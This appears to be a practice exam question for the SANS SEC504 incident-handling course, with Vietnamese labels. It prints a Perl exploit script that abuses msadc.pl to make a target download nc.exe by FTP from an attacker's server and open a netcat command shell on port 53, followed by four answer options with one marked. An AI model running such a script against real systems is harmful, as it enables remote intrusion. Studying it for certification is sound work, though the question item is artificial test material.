Câu 100: SEC504: Hacker Tools Techniques Exploits and Incident Handling

Adam, a malicious hacker performs an exploit, which is given below:#####################################################$port = 53;# Spawn cmd.exe on port X$your = "192.168.1.1";# Your FTP Server 89$user = "Anonymous";# login as$pass = '[email protected]';# password ##################################################### $host = $ARGV[0]; print "Starting ...\n"; print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo open $your >sasfile\""); system("perl msadc.pl -h$host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h $host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host C \"echo get hacked. html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print "Server is downloading ...\n";system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ... (Have a ftp server)\n";$o=; print "Opening ...\n";system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";#system("telnet $host $port");exit(0);Which of the following is the expected result of the above exploit?

1. A. Creates a share called "sasfile" on the target system
2. B. Creates an FTP server with write permissions enabled
3. C. Opens up a SMTP server that requires no username or password
4. D. Opens up a telnet listener that requires no username or password — đáp án hiện tại